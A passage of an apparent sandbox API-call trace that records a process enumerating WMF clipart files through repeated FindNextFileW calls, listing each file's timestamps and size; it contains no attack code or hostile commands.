ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2628, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152600.WMF", cAlternateFileName="")) returned 1 [0195.987] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1884, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152602.WMF", cAlternateFileName="")) returned 1 [0195.988] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x40f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152606.WMF", cAlternateFileName="")) returned 1 [0195.988] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3094, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152608.WMF", cAlternateFileName="")) returned 1 [0195.988] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1748, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152610.WMF", cAlternateFileName="")) returned 1 [0195.988] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2584, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152622.WMF", cAlternateFileName="")) returned 1 [0195.988] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6688, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152626.WMF", cAlternateFileName="")) returned 1 [0195.988] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x785c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152628.WMF", cAlternateFileName="")) returned 1 [0195.989] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8774, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152688.WMF", cAlternateFileName="")) returned 1 [0195.989] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152690.WMF", cAlternateFileName="")) returned 1 [0195.989] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x544, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152694.WMF", cAlternateFileName="")) returned 1 [0195.989] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c98, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152696.WMF", cAlternateFileName="")) returned 1 [0195.989] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152698.WMF", cAlternateFileName="")) returned 1 [0195.989] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152702.WMF", cAlternateFileName="")) returned 1 [0195.989] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x674, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152704.WMF", cAlternateFileName="")) returned 1 [0195.989] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x132c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152708.WMF", cAlternateFileName="")) returned 1 [0195.989] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152716.WMF", cAlternateFileName="")) returned 1 [0195.989] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152722.WMF", cAlternateFileName="")) returned 1 [0195.990] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152876.WMF", cAlternateFileName="")) returned 1 [0195.990] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3a28, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152878.WMF", cAlternateFileName="")) returned 1 [0195.990] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2370, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152882.WMF", cAlternateFileName="")) returned 1 [0195.990] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152884.WMF", cAlternateFileName="")) returned 1 [0195.990] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x794, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152890.WMF", cAlternateFileName="")) returned 1 [0195.990] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152892.WMF", cAlternateFileName="")) returned 1 [0195.990] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c54, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152894.WMF", cAlternateFileName="")) returned 1 [0195.990] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1190, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152898.WMF", cAlternateFileName="")) returned 1 [0195.991] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x812c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153047.WMF", cAlternateFileName="")) returned 1 [0195.991] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x778, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153087.WMF", cAlternateFileName="")) returned 1 [0195.991] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153089.WMF", cAlternateFileName="")) returned 1 [0195.991] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153091.WMF", cAlternateFileName="")) returned 1 [0195.991] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x22b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153093.WMF", cAlternateFileName="")) returned 1 [0195.991] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe78, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153095.WMF", cAlternateFileName="")) returned 1 [0195.991] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153265.WMF", cAlternateFileName="")) returned 1 [0195.992] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4e80, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153273.WMF", cAlternateFileName="")) returned 1 [0195.992] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8f0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153299.WMF", cAlternateFileName="")) returned 1 [0195.992] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7850, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153302.WMF", cAlternateFileName="")) returned 1 [0195.992] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9658, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153305.WMF", cAlternateFileName="")) returned 1 [0195.992] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153307.WMF", cAlternateFileName="")) returned 1 [0195.993] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4238, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153313.WMF", cAlternateFileName="")) returned 1 [0195.993] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4464, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153398.WMF", cAlternateFileName="")) returned 1 [0195.993] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x85d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153508.WMF", cAlternateFileName="")) returned 1 [0195.993] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x31d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153514.WMF", cAlternateFileName="")) returned 1 [0195.993] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d08, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153516.WMF", cAlternateFileName="")) returned 1 [0195.994] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x30f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153518.WMF", cAlternateFileName="")) returned 1 [0195.994] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x560, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0156537.WMF", cAlternateFileName="")) returned 1 [0195.994] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb66e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157167.WMF", cAlternateFileName="")) returned 1 [0195.994] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x54d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157177.WMF", cAlternateFileName="")) returned 1 [0195.994] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x45f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157191.WMF", cAlternateFileName="")) returned 1 [0195.994] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, 